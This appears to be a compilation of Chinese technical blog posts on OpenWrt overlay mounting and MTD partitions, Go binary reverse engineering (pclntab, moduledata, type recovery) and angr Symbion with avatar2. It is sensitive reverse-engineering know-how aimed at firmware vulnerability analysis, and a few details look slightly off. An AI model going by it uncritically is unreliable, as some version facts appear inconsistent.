02_default_set_state:7:boot_hook_add preinit_main define_default_set_state
10_indicate_preinit:154:boot_hook_add preinit_main preinit_ip
10_indicate_preinit:155:boot_hook_add preinit_main pi_indicate_preinit
40_run_failsafe_hook:17:boot_hook_add preinit_main run_failsafe_hook
81_urandom_seed:24:boot_hook_add preinit_main do_urandom_seed
80_mount_root:15:[ "$INITRAMFS" = "1" ] || boot_hook_add preinit_main do_mount_root
01_preinit_do_ramips.sh:9:boot_hook_add preinit_main do_ramips
04_handle_checksumming:56:boot_hook_add preinit_main do_checksumming_disable
50_indicate_regular_preinit:10:boot_hook_add preinit_main indicate_regular_preinit
07_set_preinit_iface_ramips:34:boot_hook_add preinit_main ramips_set_preinit_iface
30_failsafe_wait:100:boot_hook_add preinit_main failsafe_wait

这里主要关注mount操作即如下脚本：

#!/bin/sh
# Copyright (C) 2006 OpenWrt.org
# Copyright (C) 2010 Vertical Communications
do_mount_root() {
    mount_root
    boot_run_hook preinit_mount_root
    [ -f /sysupgrade.tgz ] && {
        echo "- config restore -"
        cd /
        tar xzf /sysupgrade.tgz
    }
}
[ "$INITRAMFS" = "1" ] || boot_hook_add preinit_main do_mount_root

那么实际负责挂载的就是/sbin/mount_root程序。相关核心源码Sources/fstools/mount_root.c (openwrt.org)如下：

 26 /*
 27  * Called in the early (PREINIT) stage, when we immediately need some writable
 28  * filesystem.
 29  */
 30 static int
 31 start(int argc, char *argv[1])
 32 {
 33         struct volume *root;
 34         struct volume *data = volume_find("rootfs_data");
 35         struct stat s;
 36 
 37         {...}
 53         /* There isn't extroot, so just try to mount "rootfs_data" */
 54         volume_init(data);
 55         switch (volume_identify(data)) {
 56         case FS_NONE:
 57                 ULOG_WARN("no usable overlay filesystem found, using tmpfs overlay\n");
 58                 return ramoverlay();
 59 
 60         case FS_DEADCODE:
 61                 /*
 62                  * Filesystem isn't ready yet and we are in the preinit, so we
 63                  * can't afford waiting for it. Use tmpfs for now and handle it
 64                  * properly in the "done" call.
 65                  */
 66                 ULOG_NOTE("jffs2 not ready yet, using temporary tmpfs overlay\n");
 67                 return ramoverlay();
 68 
 69         case FS_EXT4:
 70         case FS_F2FS:
 71         case FS_JFFS2:
 72         case FS_UBIFS:
 73                 mount_overlay(data);   <==========
 74                 break;
 75 
 76        {...}
 79         }
 80 
 81         return 0;
 82 }
    int mount_overlay(struct volume *v)
417 {
418         const char *overlay_mp = "/tmp/overlay";
419         {...}
431         err = overlay_mount_fs(v, overlay_mp);   <==========
432         if (err)
433                 return err;
434 
435         /*
436          * Check for extroot config in overlay (rootfs_data) and if present then
437          * prefer it over rootfs_data.
438          */
439         if (!mount_extroot(overlay_mp)) {
440                 ULOG_INFO("switched to extroot\n");
441                 return 0;
442         }
443 
444         {...}
459         fs_name = overlay_fs_name(volume_identify(v));
460         ULOG_INFO("switching to %s overlay\n", fs_name);
461         if (mount_move("/tmp", "", "/overlay") || fopivot("/overlay", "/rom")) {  <==========
462                 ULOG_ERR("switching to %s failed - fallback to ramoverlay\n", fs_name);
463                 return ramoverlay();
464         }
465 
466         return -1;
467 }
347 static int overlay_mount_fs(struct volume *v, const char *overlay_mp)
348 {
349         char *fstype = overlay_fs_name(volume_identify(v));
350 
351         if (mkdir(overlay_mp, 0755)) {
352                 ULOG_ERR("failed to mkdir /tmp/overlay: %m\n");
353                 return -1;
354         }
355 
356         if (mount(v->blk, overlay_mp, fstype,  <==========
357 #ifdef OVL_MOUNT_FULL_ACCESS_TIME
358                 MS_RELATIME,
359 #else
360                 MS_NOATIME,
361 #endif
362 #ifdef OVL_MOUNT_COMPRESS_ZLIB
363                 "compr=zlib"
364 #else
365                 NULL
366 #endif
367                 )) {
368                 ULOG_ERR("failed to mount -t %s %s /tmp/overlay: %m\n",
369                          fstype, v->blk);
370                 return -1;
371         }
372 
373         return 0;
374 }
/**
108  * fopivot - switch to overlay using passed dir as upper one
109  *
110  * @rw_root: writable directory that will be used as upper dir
111  * @ro_root: directory where old root will be put
112  */
113 int
114 fopivot(char *rw_root, char *ro_root)
115 {
116         char overlay[64], mount_options[64], upperdir[64], workdir[64], upgrade[64], upgrade_dest[64];
117         struct stat st;
118 
119         if (find_filesystem("overlay")) {
120                 ULOG_ERR("BUG: no suitable fs found\n");
121                 return -1;
122         }
123 
124         {...}
154 
155         if (mount(overlay, "/mnt", "overlay", MS_NOATIME, mount_options)) {
156                 ULOG_ERR("mount failed: %m, options %s\n", mount_options);
157                 return -1;
158         }
159 
160         return pivot("/mnt", ro_root);
161 }
 63 int
 64 pivot(char *new, char *old)
 65 {
 66         char pivotdir[64];
 67         int ret;
 68 
 69         if (mount_move("", new, "/proc"))
 70                 return -1;
 71 
 72         snprintf(pivotdir, sizeof(pivotdir), "%s%s", new, old);
 73 
 74         ret = pivot_root(new, pivotdir);
 75 
 76         if (ret < 0) {
 77                 ULOG_ERR("pivot_root failed %s %s: %m\n", new, pivotdir);
 78                 return -1;
 79         }
 80 
 81         mount_move(old, "", "/dev");
 82         mount_move(old, "", "/tmp");
 83         mount_move(old, "", "/sys");
 84         mount_move(old, "", "/overlay");
 85 
 86         return 0;
 87 }

  代码中rootfs_data/rootfs和layout示意图对应起来，即rootfs_data指的就是可写文件系统JFFS2，rootfs指的是整个文件系统(SquashFS+JFFS2)。一般流程如下：

• • volume_find("rootfs_data")找到flash中rootfs_data的位置，可识别的文件系统有：EXT4、F2FS、JFFS2、UBIFS

• • 调用mount_overlay

• • mount -n /proc -o noatime,--move /mnt/proc

• • pivot_root /mnt /mnt/rom

• • mount -n /rom/dev -o noatime,--move /dev

• • mount -n /rom/tmp -o noatime,--move /tmp

• • mount -n /rom/sys -o noatime,--move /sys

• • mount -n /rom/overlay -o noatime,--move /overlay

• • tmpfs，名字已经反映出这个文件系统的作用，是一个临时文件系统。这种文件系统没有设计负载均衡，并且是一种易失性的文件系统（也就是说设备重启后，这中文件系统中的内容将会丢失）。所以一般，/tmp将会挂载为tmpfs格式，且/var会软连接到其上。/dev位于自身的一个小型tmpfs分区。

• • overlay_mount_fs：将rootfs_data文件系统挂载到/tmp/overlay；这里squashFS中的tmp为何可写？这是因为这里初始化时会被挂载为一个tmpfs类型的文件夹

• • mount_move：mount_move("/tmp", "", "/overlay")，等效于mount -n -t NULL /tmp/overlay -o noatime,--move /overlay

• • fopivot：fopivot("/overlay", "/rom")；首先通过/proc/filesystem确认是否支持overlay，然后mount -n -t overlayfs overlayfs:/overlay -o rw,noatime,lowerdir=/,upperdir=/overlay /mnt初步形成OverlayFS。pivot("/mnt", "/rom")如下：

• • pivot_root（new_root, put_old）系统调用改变当前进程所在mount namespace内的所有进程的root mount移到put_old，然后将new_root作为新的root mount；

  总结一下：挂载完squashfs后首先找到rootfs_data的位置(flash)识别其文件系统类型，若支持调用mount_overlay进行后续操作；将rootfs_data挂载到 /tmp/overlay(tmpfs)，然后/tmp/overlay迁移到/overlay节点。调用mount -n -t overlayfs overlayfs:/overlay -o rw,noatime,lowerdir=/,upperdir=/overlay /mnt在/mnt下面构建OverlayFS，然后把一些sys、proc、dev迁移到/mnt下面并且通过系统调用pivot_root 完成文件系统切换。

MTD (Memory Technology Device)

  Linux 内核将raw flash芯片看做MTD设备，该设备既不是块设备也不是字符设备。在上层MTD设备由可擦除块(erase-blocks)组成，一个erase-block大小可以是64 KiB, 128 KiB等；每个erase-block又以类似page的方式进行分割。每个page在写入时需要把其所在erase-block整个擦除再写入，因此称之为erase block。

MTD 分区

  MTD设备也有逻辑分区(mtdx)，每个分区都起止于一个erase-block。MTD具体分区是通过内核对应的分区信息解析模块来决定(也可以是BootLoader完成分区)。在内核启动过程中分区信息可以通过下面几种方式传递：

• • bootloaders可以在特定位置存放分区表信息

• • 通过内核命令行发送分区信息(bootargs)

• • 通过设备树

• • 编译内核时在内核命令中写死分区信息(这种情况会覆盖BootLoader发送的命令)

例如：

cat /proc/mtd
dev:    size   erasesize  name
mtd0: 00020000 00010000 "u-boot"
mtd1: 00140000 00010000 "kernel"
mtd2: 00690000 00010000 "rootfs"
mtd3: 00530000 00010000 "rootfs_data"
mtd4: 00010000 00010000 "art"
mtd5: 007d0000 00010000 "firmware"

erasesize就是erase-block的大小(00010000 == 64KB)，而size指的是该mtd分区容量也是16进制。

思考

利用mtd分区分析固件

  对于使用了mtd管理flash的固件，可以针对性的根据分区传递方式寻找分区信息来解构固件：

• • bootloaders可以在特定位置存放分区表信息

• • 通过内核命令行发送分区信息(bootargs)

• • 通过设备树

• • 编译内核时在内核命令中写死分区信息(这种情况会覆盖BootLoader发送的命令)

对于BootLoader传递分区信息最常见的就是uboot的mtdparts参数了，使用格式如下：

* From https://github.com/u-boot/u-boot/blob/master/cmd/mtdparts.c
* mtdparts=[mtdparts=]<mtd-def>[;<mtd-def>...] //可以有多个mtd-def(mtd定义)';'隔开
*
* <mtd-def>  := <mtd-id>:<part-def>[,<part-def>...]  //一个mtd设备组成部分，'mtd-id:part-def'必要
* <mtd-id>   := unique device tag used by linux kernel to find mtd device (mtd->name) //flash设备id
* <part-def> := <size>[@<offset>][<name>][<ro-flag>] //分区定义，必须要size指定大小后面几个可选
* <size>     := standard linux memsize OR '-' to denote all remaining space //单位使用标准linux memsize，'-'表示剩余所有空间
* <offset>   := partition start offset within the device //分区偏移
* <name>     := '(' NAME ')' //分区名
* <ro-flag>  := when set to 'ro' makes partition read-only (not used, passed to kernel) //告诉内核分区只读
* Notes:
 * - each <mtd-id> used in mtdparts must albo exist in 'mtddis' mapping  //mtdids环境变量指定了flash硬件平台，mtd-id使用时需要存在于mtdids中
 * - if the above variables are not set defaults for a given target are used
 
 * Examples:
     * //这里定义了一块flash芯片，并且只有一个mtd分区
     * 1 NOR Flash, with 1 single writable partition:
     * mtdids=nor0=edb7312-nor
     * mtdparts=[mtdparts=]edb7312-nor:-
     * //这里定义了两块flash芯片分别是有两个分区的nor flash和一个分区的nand flash
     * 1 NOR Flash with 2 partitions, 1 NAND with one
     * mtdids=nor0=edb7312-nor,nand0=edb7312-nand
     * mtdparts=[mtdparts=]edb7312-nor:256k(ARMboot)ro,-(root);edb7312-nand:-(home)

例如下面是从某款路由器固件(基于openwrt)的内核中提取到的mtdparts参数：

console=ttyS1,57600n8 root=/dev/mtdblock6 mtdparts=raspi:320k(u-boot)ro,64k(u-boot-env),64k(Factory),64k(product_info),64k(kdump),-(firmware)

得到flash分区如下：

• • mtd0：u-boot，大小320k，只读

• • mtd1：u-boot-env，大小64k

• • mdt2：Factory，大小64K

• • mdt3：product_info，大小64K

• • mtd4：kdump，64K

• • mdt5：firmware，剩余空间

这里firmware包含kernel和rootfs并且在固件包(升级)中也只包含这部分，但是加载完内核后一般会在初始化文件系统的过程中继续对firmware进行分区，进一步分出'rootfs'和'rootfs_data'用来构建OverlayFS系统：

~# cat /proc/mtd
dev:    size   erasesize  name
mtd0: 00050000 00010000 "u-boot"
mtd1: 00010000 00010000 "u-boot-env"
mtd2: 00010000 00010000 "Factory"
mtd3: 00010000 00010000 "product_info"
mtd4: 00010000 00010000 "kdump"
mtd5: 00770000 00010000 "firmware"
mtd6: 00545481 00010000 "rootfs"
mtd7: 000c0000 00010000 "rootfs_data"

参考

• • Linux overlayfs文件系统介绍-电子工程专辑 (eet-china.com)

• • [OpenWrt Wiki] The OpenWrt Flash Layout

• • L&Z|Iceway's Sharing and Recording.

• • OpenWrt 根文件系统启动过程分析（一） - thammer - 博客园 (cnblogs.com)

• • Sources/fstools/mount_root.c (openwrt.org)

• • u-boot/cmd/mtdparts.c at master · u-boot/u-boot (github.com)

• • MTD设备简介 (mickyching.github.io)

阅读原文

跳转微信打开

Go逆向研究

基础信息

  go语言默认采用静态编译的策略，这意味着各种标准库和第三方库包括runtime和gc都会被全静态链接构建，这导致go二进制文件较大，同时go函数调用约定，数据结构和栈管理策略非常特殊，而且不同go版本之间的细节也存在很多差异，这一系列原因导致go逆向存在诸多难处。不过根据其特殊之处入手可以帮助进行符号恢复，字符串引用恢复等操作来帮助逆向工程师获得更好的体验。

calling convention

不同go版本之间存在一定差异。

stack

  对于go function来说，它的栈设计本身就非常独特，因为操作系统下的threads managed对用户来说已经完全被go runtime抽象，这使得用户只需要关注存在于用户空间的新抽象goroutines，这使得go runtime可以自己设置栈的行为准则。

  当go函数启动的时候，首先就会为栈分配一个固定大小的空间，但是这个大小在不同版本之间存在差异，在go1.12的时候最小栈空间为2kb，但是go1.2变成了4kb，然后在go1.4再次变回2kb，我查看了目前的go1.20.1版本同样是2kb。然后在接下来的函数调用中会对栈空间是否合适进行检查，如果需要的话通过runtime.morestack_noctxt函数对栈空间进行扩充，这也对应了汇编中经常看到的call prologue（this particular prologue is present only in routines with local variables）：

在进行栈扩充的时候采用整体Free重新分配的策略，同时一般每次newsize := oldsize * 2，如下：

  根据不同的架构，栈具有不同的最大值，栈的分配超过该值就会引发错误。同时如果需要的话，栈空间可以被gc回收，在回收的时候栈空间变化为newsize := oldsize/2，并且会复用之前的栈地址。另一个值得注意的点是自动go1.3之后开始，goroutine stacks的实现方式从segmented model转变为contiguous model，contiguous model优化了segmented model的hot split问题，这里就不细说，需要了解可以参考该链接。

call arguments and return value

  在go中参数和返回值都会存储在caller的栈空间里面，存储返回值的空间会被预先分配，然后由被调用函数写入对应的值，通过这种方式go实现了多返回值机制，但是最新版的go语言中参数和返回值也可以在寄存器中传递：

https://tip.golang.org/src/cmd/compile/abi-internal

Function calls pass arguments and results using a combination of the stack and machine registers. Each argument or result is passed either entirely in registers or entirely on the stack. Because access to registers is generally faster than access to the stack, arguments and results are preferentially passed in registers. However, any argument or result that contains a non-trivial array or does not fit entirely in the remaining available registers is passed on the stack.

  因此新版go语言中参数和返回值的传递优先采用寄存器，但是寄存器参数传递规则并不是类似x86_64的rdi, rsi等，而是有一套属于自己的算法，具体可以参考上面的链接，比较值得注意的是在新版（当前为1.20.1）go的调用约定中，参数和返回值可以共享寄存器但是不会共享栈空间，同时即使有些参数通过寄存机传参，caller依然会在栈空间中依然会为它们预留一定的空间，同时caller也会为寄存器传参的参数在栈空间中预留spill area溢出区：

如图rax和rbx用来保存返回值，同时也用到了栈上预留的空间。同时，如上面提到的，假如有struct，array和string类型的参数那么调用约定就会变得更为复杂：

f(a1 uint8, a2 [2]uintptr, a3 uint8) (r1 struct { x uintptr; y [2]uintptr }, r2 string)

  上面的官方例子很好的讲述了这一点，假设存在寄存器R0-R9，在函数起始阶段a1会被赋予R0，a3会被赋予R1，a2则是在栈中初始化，栈中为a1和a3预留的空间则不会初始化。在函数结束阶段，r2.base也就是字符串所在的地址被赋予到R0，r2.len也就是字符串长度被赋予R1，r1.x和r1.y则被初始化在栈上。总结就是如果参数或者返回值中包含类似array结构，那么就会被放在栈上操作，其它则通过寄存器操作，字符串则因为go自己独特的存储模式（后面会细说）需要分不同的部分进行传递。在栈空间排布上，参数要比返回值处于更低的地址，同时也比spill area更低。

具体到逆向目标这里给出对于amd64和arm64的相关内容，对于amd64架构来说，下列寄存器会被用于传递整数类型的参数和结果：

RAX, RBX, RCX, RDI, RSI, R8, R9, R10, R11

  使用X0-X14来传递浮点类型的参数和结果，而对于arm64架构来说，它使用R0-R15来保存整数类型的参数和结果，使用F0-F15来保存浮点类型的参数和结果。

Type System

内建基础类型：

• • one boolean built-in boolean type: bool.

• • 11 built-in integer numeric types (basic integer types): int8, uint8, int16, uint16, int32, uint32, int64, uint64, int, uint, and uintptr.

• • two built-in floating-point numeric types: float32 and float64.

• • two built-in complex numeric types: complex64 and complex128.

• • one built-in string type: string.

  在内建基础类型上，go的表现基本和C语言类似，在逆向分析过程中最重要的类型拆解其实就是结构体，在Go语言里面rtype是很多类型的基础实现，它会被嵌入到其它的struct types：

https://go.dev/src/reflect/type.go

// rtype is the common implementation of most values.
// It is embedded in other struct types.
//
// rtype must be kept in sync with ../runtime/type.go:/^type._type.
type rtype struct {
        size       uintptr
        ptrdata    uintptr // number of bytes in the type that can contain pointers
        hash       uint32  // hash of type; avoids computation in hash tables
        tflag      tflag   // extra type information flags
        align      uint8   // alignment of variable with this type
        fieldAlign uint8   // alignment of struct field with this type
        kind       uint8   // enumeration for C
        // function for comparing objects of this type
        // (ptr to object A, ptr to object B) -> ==?
        equal     func(unsafe.Pointer, unsafe.Pointer) bool
        gcdata    *byte   // garbage collection data
        str       nameOff // string form
        ptrToThis typeOff // type for pointer to this type, may be zero
}

  对于逆向工程来说，这些字段非常有帮助，kind：代表了目标结构体的基础类型，nameOff可以知道目标结构体的名字，ptrToThis则代表了指向该结构体的指针类型，在go开发过程中很多情况下会针对指针实现结构体函数，这里的ptrToThis帮助找到指针类型所在的位置从而可以找到对应实现的结构体函数来帮助逆向：

// ptrType represents a pointer type.
type ptrType struct {
        rtype
        elem *rtype // pointer element (pointed at) type
}

接下来是struct的实现：

// structType represents a struct type.
type structType struct {
        rtype
        pkgPath name
        fields  []structField // sorted by offset
}

所以在struct的实现中包含所在的包路径，然后接下来跟一个structField数组：

// Struct field
type structField struct {
        name   name    // name is always non-empty
        typ    *rtype  // type of field
        offset uintptr // byte offset of field
}

其中name代表的是文件名，还有一个rtype指针用来该Field的类型，通过对这些结构体信息进行组织就可以对目标结构体进行还原。

为了理解go二进制文件的数据分布，必须理解go独特的moduledata，但是随着版本的变化moduledata也一直在改变，这里是针对go1.20.1的解析：

https://go.dev/src/runtime/symtab.go

//moduledata records information about the layout of the executable
// image. It is written by the linker. Any changes here must be
// matched changes to the code in cmd/link/internal/ld/symtab.go:symtab.
// moduledata is stored in statically allocated non-pointer memory;
// none of the pointers here are visible to the garbage collector.
type moduledata struct {
        pcHeader     *pcHeader
        funcnametab  []byte
        cutab        []uint32
        filetab      []byte
        pctab        []byte
        pclntable    []byte
        ftab         []functab
        findfunctab  uintptr
        minpc, maxpc uintptr
        text, etext           uintptr
        noptrdata, enoptrdata uintptr
        data, edata           uintptr
        bss, ebss             uintptr
        noptrbss, enoptrbss   uintptr
        covctrs, ecovctrs     uintptr
        end, gcdata, gcbss    uintptr
        types, etypes         uintptr
        rodata                uintptr
        gofunc                uintptr // go.func.*
        textsectmap []textsect
        typelinks   []int32 // offsets from types
        itablinks   []*itab
        ptab []ptabEntry
        pluginpath string
        pkghashes  []modulehash
        modulename   string
        modulehashes []modulehash
        hasmain uint8 // 1 if module contains the main function, 0 otherwise
        gcdatamask, gcbssmask bitvector
        typemap map[typeOff]*_type // offset to *_rtype in previous module
        bad bool // module failed to load and should be ignored
        next *moduledata
}

  详细看该结构体就知道这个对于逆向来说非常重要，可以帮助定位不同段的位置和相关信息，对于类型系统来说最重要的就是types, etypes和typelinks，types段中包含type descriptions而typelinks段中包含对于types的偏移：

可以看到虽然没有types段，但是存在typelinks段来很方便的定位到目标。因此通过递归搜索拆解类型信息并交叉引用就可以很好的完成对于类型的恢复。

对于go逆向来说，另一个重要的类型就是接口，在go源码里可以看到其实现为：

type iface struct {
        tab  *itab
        data unsafe.Pointer
}
type itab struct {
         inter *interfacetype
         _type *_type
         hash  uint32 // copy of _type.hash. Used for type switches.
         _     [4]byte
         fun   [1]uintptr // variable sized. fun[0]==0 means _type does not implement inter.
}
type interfacetype struct {
         typ     _type
         pkgpath name
         mhdr    []imethod
}

上面就是go源码内部的相关数据结构，其中_type其实就是上述的rtype，所以其实对于iface的结构来说就很清晰了，在itab中，fun是一个对象的virtual dispatch table用来索引一些函数。

  无论是interface还是struct其实在逆向中都更关心它们包含的一些函数，在go的类型系统中还存在funcType：

type funcType struct {
        rtype
        inCount  uint16
        outCount uint16 // top bit is set if last input parameter is ...
}

inCount和outCount代表参数和返回值。

pclntab

  pclntab全名是Program Counter Line Table。2013年由Russ Cox(Go 语言创始团队成员，核心开发者)从Plan9移植到 Go 1.2上，至今没有太大变化。引入*pcnlntab*这个结构的最初动机，是为 *Stack Trace* 服务的。当程序运行出错要 *panic* 的时候，runtime 需要知道当前的位置，层级关系如 *pkg*->*src file*->*function or method*->*line number*，每一层的信息 runtime 都要知道。Go 就把这些信息结构化地打包到了编译出的二进制文件中。除此之外，pcnlntab 中还包含了栈的动态管理用到的栈帧信息、垃圾回收用到的栈变量的生命周期信息以及二进制文件涉及的所有源码文件路径信息。这个结构体反过来就是我们逆向的重要参考。定义如下(go 1.16版本之后在源码中才存在定义)：

其中magic的值在Go 1.16之前是0xFFFFFFFB，Go 1.16到17是0xFFFFFFFA，Go 1.18是0xFFFFFFF0。具体的解析逻辑在源码中pclntab.go。各字段含义如下：

• • 开头 4-Bytes 是 Magic Number： 0xFFFFFFFB ；

• • 第 5、6个字节为 0x00，暂无实际用途；

• • 第 7 个字节代表 instruction size quantum， 1 为 x86, 4 为 ARM；

• • 第 8 个字节为地址的大小，32bit 的为 4，64 bit 的为 8，至此的前 8 个字节可以看作是 pclntab 的 Header；

• • 第 9 个字节开始是 function table 的起始位置；

• • 第一个 uintptr 元素为函数(pc, Program Counter) 的个数；

• • 第 2 个 uintptr 元素为第 1 个函数(pc0) 的地址，第 3 个 uintptr 元素为第 1 个函数结构定义相对于 pclntab 的偏移，后面的函数信息就以此类推；

• • 直到 function table 结束，下面就是 Source file table的信息。pcN后面的int32表示Source file table的偏移。

• • Source file table 以 4 字节(int32)为单位，前 4 个字节代表 Source File 的数量，后面每一个 int32 都代表一个 Source File Path String 相对于 pclntab 的偏移；

  里面比较重要的信息有函数表和源码表。其中函数表(func table)的起始地址，为 (pclntab_addr + 8)，第一个元素( uintptr N) 代表函数的个数。每两个 uintptr 元素为一组，即 (func_addr, func_struct_offset)，每组第一个元素为函数的地址，第二个元素为函数结构体定义(Function Struct)相对于 pclntab 起始地址的偏移。Function Struct定义如下：

struct Func
{
    uintptr      entry;     // start pc
    int32        name;      // name (offset to C string)
    int32        args;      // size of arguments passed to function
    int32        frame;     // size of function frame, including saved caller PC
    int32        pcsp;      // pcsp table (offset to pcvalue table)
    int32        pcfile;    // pcfile table (offset to pcvalue table)
    int32        pcln;      // pcln table (offset to pcvalue table)
    int32        nfuncdata; // number of entries in funcdata list
    int32        npcdata;   // number of entries in pcdata list
};

  对于逆向分析来说，这里最有用的信息，就是函数名了。如上图所示，函数名是一个以 0x00 结尾的 C-String。在 Function Struct 中，第二个元素只是 int32 类型的偏移值(仍然相对于pclntab地址)。而Function Struct 中第 3 个元素 args 在 Go 标准库源码 src/debug/gosym/symtab.go 中

解析这个Function Struct的一个类型定义中，有两条注释，说Go 1.3之后就没这种信息了：

  另外，还有一些函数用上面的方式无法解析，是编译器做循环展开时自动生成的匿名函数，也叫 Duff’s Device。这样的函数知道它是用来连续操作内存(拷贝、清零等等)的就可以。

字符串引用

  对于字符串引用问题解决方法很粗暴沿用了golang_loader_assist.py。核心就是观察汇编中字符串引用格式，golang中const char *字符串几乎是堆在一起的，然后以str_addr + str_len的方式引用。

以386架构来说，观察其字符串引用汇编如下：

mov     rcx, cs:qword_BC2908 ; str len
mov     rdx, cs:off_BC2900 ; str pointer
mov     [rsp+0A8h+var_90], rdx
mov     [rsp+0A8h+var_88], rcx
call    github_com_rs_zerolog_internal_json_Encoder_AppendKey

然后通过指针和长度来识别某一个字符串，而不是所有字符串。对于arm架构有如下两种方式引用：

pattern0:   properly for local string variable invoking
LDR             R0, =aGodebugUnknown;   strptr
STR             R0, [SP,#0x50+var_4C]   
MOV             R1, #0x1E           ;   len
STR             R1, [SP,#0x50+var_48]
BL              runtime_printstring
pattern1:   properly for global string variable 
LDR             R3, =off_888AE8 ; ".SH NAME/dev/mem/dev/mtd/gid_map/static" strptr-len_ptr
...
...
BL              fmt_Fprintln
.data:0014C3F8 off_14C3F8      DCD aGlobalHelloMbA     ; DATA XREF: main_main+2C↑o
.data:0014C3F8                                         ; main_main+30↑r ...
.data:0014C3F8                                         ; "Global Hello !MB; allocated Other_ID_St"...
.data:0014C3FC dword_14C3FC    DCD 0xE

第一种：LDR，STR，MOV，STR获取字符串地址和长度并压栈。

第二种：获得一个指针该指针指向一个结构体包含字符串地址和长度。上面不管是386架构还是arm的两种情况在引用字符串时，字符串地址和长度都是地址相邻的(这个可能对后续详细识别引用有一定帮助)。

moduledata

  在Go语言的体系中，Module是比Package更高层次的概念，具体表现在一个Module中可以包含多个不同的Package，而每个Package中可以包含多个目录和很多的源码文件。相应地，Moduledata在Go二进制文件中也是一个更高层次的数据结构，它包含很多其他结构的索引信息，可以看作是Go二进制文件中 RTSI(Runtime Symbol Information) 和 RTTI(Runtime Type Information) 的地图：

// moduledata records information about the layout of the executable
// image. It is written by the linker. Any changes here must be
// matched changes to the code in cmd/internal/ld/symtab.go:symtab.
// moduledata is stored in statically allocated non-pointer memory;
// none of the pointers here are visible to the garbage collector.
type moduledata struct {
    pclntable    []byte
    ftab         []functab
    filetab      []uint32
    findfunctab  uintptr
    minpc, maxpc uintptr
    text, etext           uintptr
    noptrdata, enoptrdata uintptr
    data, edata           uintptr
    bss, ebss             uintptr
    noptrbss, enoptrbss   uintptr
    end, gcdata, gcbss    uintptr
    types, etypes         uintptr
    textsectmap []textsect
    typelinks   []int32 // offsets from types
    itablinks   []*itab
    ptab []ptabEntry
    pluginpath string
    pkghashes  []modulehash
    modulename   string
    modulehashes []modulehash
    hasmain uint8 // 1 if module contains the main function, 0 otherwise
    gcdatamask, gcbssmask bitvector
    typemap map[typeOff]*_type // offset to *_rtype in previous module
    bad bool // module failed to load and should be ignored
    next *moduledata
}//https://github.com/golang/go/blob/dev.boringcrypto.go1.13/src/runtime/symtab.go

根据 Moduledata 的定义，Moduledata 是可以串成链表的形式的，而一个完整的可执行 Go 二进制文件中，只有一个 firstmoduledata 包含如上完整的字段。简单介绍一下关键字段：

• • 第 1 个字段 pclntable，即为 pclntab 的地址；

• • 第 2 个字段 ftab，为 pclntab 中 Function Table 的地址(=pclntab_addr + 8)；

• • 第 3 个字段 filetab，为 pclntab 中 Source File Table 的地址；

• • 第 5 个字段 minpc，为 pclntab 中第一个函数的起始地址；

• • 第 7 个字段 text，在普通二进制文件中，对应于 [.text] section 的起始地址；在 PIE 二进制文件中则没有这个要求；

firstmoduledata其第一个uintptr元素指向的位置，前4字节为pclntab的Magic Number。所以以uintptr为单位遍历整个二进制文件找到符合这一点的地址作为可能的,firstmoduledata起始地址。如果是真实的firstmoduledata，它内部是有几个字段可以跟pclntab中的数据进行交叉验证的，比如：

• • firstmoduledata.ftab == pclntab_addr + 8

• • firstmoduledata.filetab == firstmoduledata.ftab + pclntab.functab_size + sizeof(uintptr)

• • firstmoduledata.minpc == firstmoduledata.text_addr == uintptr(pclntbl_addr + 8 + ADDR_SZ) == first function of pclntab.functab

  当然，不一定要验证上面所有条件，验证其中一部分甚至一个关键条件，就可以确认当前地址是否为真正的firstmoduledata。go_parser中就是通过这种方法定位firstmoduledata然后根据不同版本从pclntable恢复函数名(以及函数地址范围)和源码路径。

阅读原文

跳转微信打开

angr symbion

angr symbion

建议搭配angr源码和angr symbion论文阅读。

简介

  angr symbion是一项很神奇的技术，可以帮助实现跳过符号分析前复杂的环境初始化工作，通过一个调试接口，比如gdbserver，可以实现具体环境和符号环境的交错执行。具体的使用方法可以参考官方文档。但是因为这个技术非常有意思，可能对IOT，嵌入式领域的自动化漏洞分析带来极大的帮助，因此我决定深挖该技术的实现细节。

技术细节

先看一个官方demo：

# Instantiating the ConcreteTarget
avatar_gdb = AvatarGDBConcreteTarget(avatar2.archs.x86.X86_64,
                                     GDB_SERVER_IP, GDB_SERVER_PORT)
# Creating the Project
p = angr.Project(binary_x64, concrete_target=avatar_gdb,
                             use_sim_procedures=True)
# Getting an entry_state
entry_state = p.factory.entry_state()
# Forget about these options as for now, will explain later.
entry_state.options.add(angr.options.SYMBION_SYNC_CLE)
entry_state.options.add(angr.options.SYMBION_KEEP_STUBS_ON_SYNC)
# Use Symbion!
simgr.use_technique(angr.exploration_techniques.Symbion(find=[0x85b853])

  可以看出使用该技术的第一项就是初始化ConcreteTarget，在该初始化过程中使用到了一个库Avatar，根据官方介绍，这是一个针对嵌入式设备固件的动态分析框架。显然，symboin技术用它作为自己和concrete state交互的接口，因此，我们先了解一下avatar.

  avatar2作为一个编排框架，其实可以支持同时连接多个IOT设备和模拟环境，从架构上来看，avatar2由以下部分组成：

1. 1. targets

2. 2. Protocols

3. 3. endpoints (like an emulator or a physical device)

  可以看出avatar2控制一系列target和endpoints进行交互，因此target是avatar2里面的重要组成部分，其包含以下几种类型：

• • GDBTarget

• • QemuTarget

• • JLinkTarget

• • OpenOCDTarget

• • PandaTarget

  以GDBTarget为例，通过它可以实现与gdbserver的交互，进而实现对远程执行环境的控制，不过对于执行的控制avatar2甚至可以实现两个状态的交换

from avatar2 import *
sample = 'firmware.bin'
openocd_conf = 'nucleo-l152re.cfg'
# Create avatar instance with custom output directory
avatar = Avatar(output_directory='/tmp/myavatar')
# Add first target
qemu = avatar.add_target(QemuTarget, 
                          gdb_executable="arm-none-eabi-gdb",
                          firmware=sample, cpu_model="cortex-m3",
                          executable="targets/qemu/arm-softmmu/qemu-system-")
# Add the second target
nucleo = avatar.add_target(OpenOCDTarget,
                           gdb_executable="arm-none-eabi-gdb", 
                           openocd_script=openocd_conf)
# Set up custom gdb ports to avoid collisions
qemu.gdb_port = 1234
nucleo.gdb_port = 1235
# Specify first memory range
rom  = avatar.add_memory_range(0x08000000, 0x1000000, name='rom', 
                                   file=sample)
# Specify second memory range
ram  = avatar.add_memory_range(0x20000000, 0x14000, name='ram')
# Initialize Targets
avatar.init_targets()
# Execute on the nucleo up to a specific address
nucleo.set_breakpoint(0x800B570)
nucleo.cont()
nucleo.wait()
# Transfer the state over to qemu
avatar.transfer_state(nucleo, qemu, sync_regs=True, synced_ranges=[ram])
# Continue execution on qemu
qemu.cont()

